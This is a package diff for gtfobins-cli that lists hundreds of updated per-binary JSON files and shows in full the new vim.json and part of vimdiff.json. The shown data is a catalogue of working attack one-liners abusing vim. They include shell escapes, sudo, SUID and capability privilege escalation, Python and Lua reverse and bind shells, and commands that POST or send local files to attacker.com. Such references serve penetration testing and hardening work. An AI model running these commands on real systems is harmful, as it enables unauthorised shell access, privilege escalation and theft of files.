gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/vim.json
CHANGED
|
@@ -2,108 +2,113 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "vim -c ':!/bin/sh'\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
|
-
|
|
9
|
+
|
|
10
|
+
"code": "vim --cmd ':set shell=/bin/sh|:shell'\n"
|
|
9
11
|
},
|
|
10
12
|
{
|
|
11
|
-
"description": "This requires that
|
|
12
|
-
"code": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
13
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
14
|
+
"code": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
13
15
|
},
|
|
14
16
|
{
|
|
15
|
-
"description": "This requires that
|
|
16
|
-
"code": "vim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
17
|
+
"description": "This requires that `vim` is compiled with Lua support.",
|
|
18
|
+
"code": "vim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
17
19
|
}
|
|
18
20
|
],
|
|
19
21
|
"reverse-shell": [
|
|
20
22
|
{
|
|
21
|
-
"description": "This requires that
|
|
22
|
-
"code": "
|
|
23
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
24
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
23
25
|
}
|
|
24
26
|
],
|
|
25
27
|
"non-interactive-reverse-shell": [
|
|
26
28
|
{
|
|
27
|
-
"description": "Run
|
|
28
|
-
"code": "
|
|
29
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
30
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
29
31
|
}
|
|
30
32
|
],
|
|
31
33
|
"non-interactive-bind-shell": [
|
|
32
34
|
{
|
|
33
|
-
"description": "Run
|
|
34
|
-
"code": "
|
|
35
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
36
|
+
"code": "export LPORT=12345\nvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
35
37
|
}
|
|
36
38
|
],
|
|
37
39
|
"file-upload": [
|
|
38
40
|
{
|
|
39
|
-
"description": "This requires that
|
|
40
|
-
"code": "
|
|
41
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
42
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
41
43
|
},
|
|
42
44
|
{
|
|
43
|
-
"description": "This requires that
|
|
44
|
-
"code": "
|
|
45
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
|
|
46
|
+
"code": "export LPORT=8888\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
45
47
|
},
|
|
46
48
|
{
|
|
47
|
-
"description": "Send a local file via TCP. Run
|
|
48
|
-
"code": "
|
|
49
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
50
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nvim -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
|
|
49
51
|
}
|
|
50
52
|
],
|
|
51
53
|
"file-download": [
|
|
52
54
|
{
|
|
53
|
-
"description": "This requires that
|
|
54
|
-
"code": "
|
|
55
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
|
|
56
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
|
|
55
57
|
},
|
|
56
58
|
{
|
|
57
|
-
"description": "Fetch a remote file via TCP. Run
|
|
58
|
-
"code": "
|
|
59
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.",
|
|
60
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
59
61
|
}
|
|
60
62
|
],
|
|
61
63
|
"file-write": [
|
|
62
64
|
{
|
|
63
|
-
|
|
65
|
+
|
|
66
|
+
"code": "vim file_to_write\niDATA\n^[\nw\n"
|
|
64
67
|
}
|
|
65
68
|
],
|
|
66
69
|
"file-read": [
|
|
67
70
|
{
|
|
68
|
-
|
|
71
|
+
|
|
72
|
+
"code": "vim file_to_read\n"
|
|
69
73
|
}
|
|
70
74
|
],
|
|
71
75
|
"library-load": [
|
|
72
76
|
{
|
|
73
|
-
"description": "This requires that
|
|
74
|
-
"code": "vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
77
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
78
|
+
"code": "vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
|
|
75
79
|
}
|
|
76
80
|
],
|
|
77
81
|
"suid": [
|
|
78
82
|
{
|
|
79
|
-
"description": "This requires that
|
|
80
|
-
"code": "./vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
83
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
84
|
+
"code": "./vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
|
|
81
85
|
}
|
|
82
86
|
],
|
|
83
87
|
"sudo": [
|
|
84
88
|
{
|
|
85
|
-
|
|
89
|
+
|
|
90
|
+
"code": "sudo vim -c ':!/bin/sh'\n"
|
|
86
91
|
},
|
|
87
92
|
{
|
|
88
|
-
"description": "This requires that
|
|
89
|
-
"code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
93
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
94
|
+
"code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
90
95
|
},
|
|
91
96
|
{
|
|
92
|
-
"description": "This requires that
|
|
93
|
-
"code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
97
|
+
"description": "This requires that `vim` is compiled with Lua support.",
|
|
98
|
+
"code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
94
99
|
}
|
|
95
100
|
],
|
|
96
101
|
"capabilities": [
|
|
97
102
|
{
|
|
98
|
-
"description": "This requires that
|
|
99
|
-
"code": "./vim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
103
|
+
"description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
104
|
+
"code": "./vim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
100
105
|
}
|
|
101
106
|
],
|
|
102
107
|
"limited-suid": [
|
|
103
108
|
{
|
|
104
|
-
"description": "This requires that
|
|
105
|
-
"code": "./vim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
109
|
+
"description": "This requires that `vim` is compiled with Lua support.",
|
|
110
|
+
"code": "./vim -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
106
111
|
}
|
|
107
112
|
]
|
|
108
113
|
}
|
|
109
|
-
}
|
|
114
|
+
}
|
gtfo/data/vimdiff.json
CHANGED
|
@@ -2,107 +2,112 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "vimdiff -c ':!/bin/sh'\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
9
|
+
|
|
8
10
|
"code": "vimdiff\n:set shell=/bin/sh\n:shell\n"
|
|
9
11
|
},
|
|
10
12
|
{
|
|
11
|
-
"description": "This requires that
|
|
12
|
-
"code": "vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
13
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
14
|
+
"code": "vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
13
15
|
},
|
|
14
16
|
{
|
|
15
|
-
"description": "This requires that
|
|
16
|
-
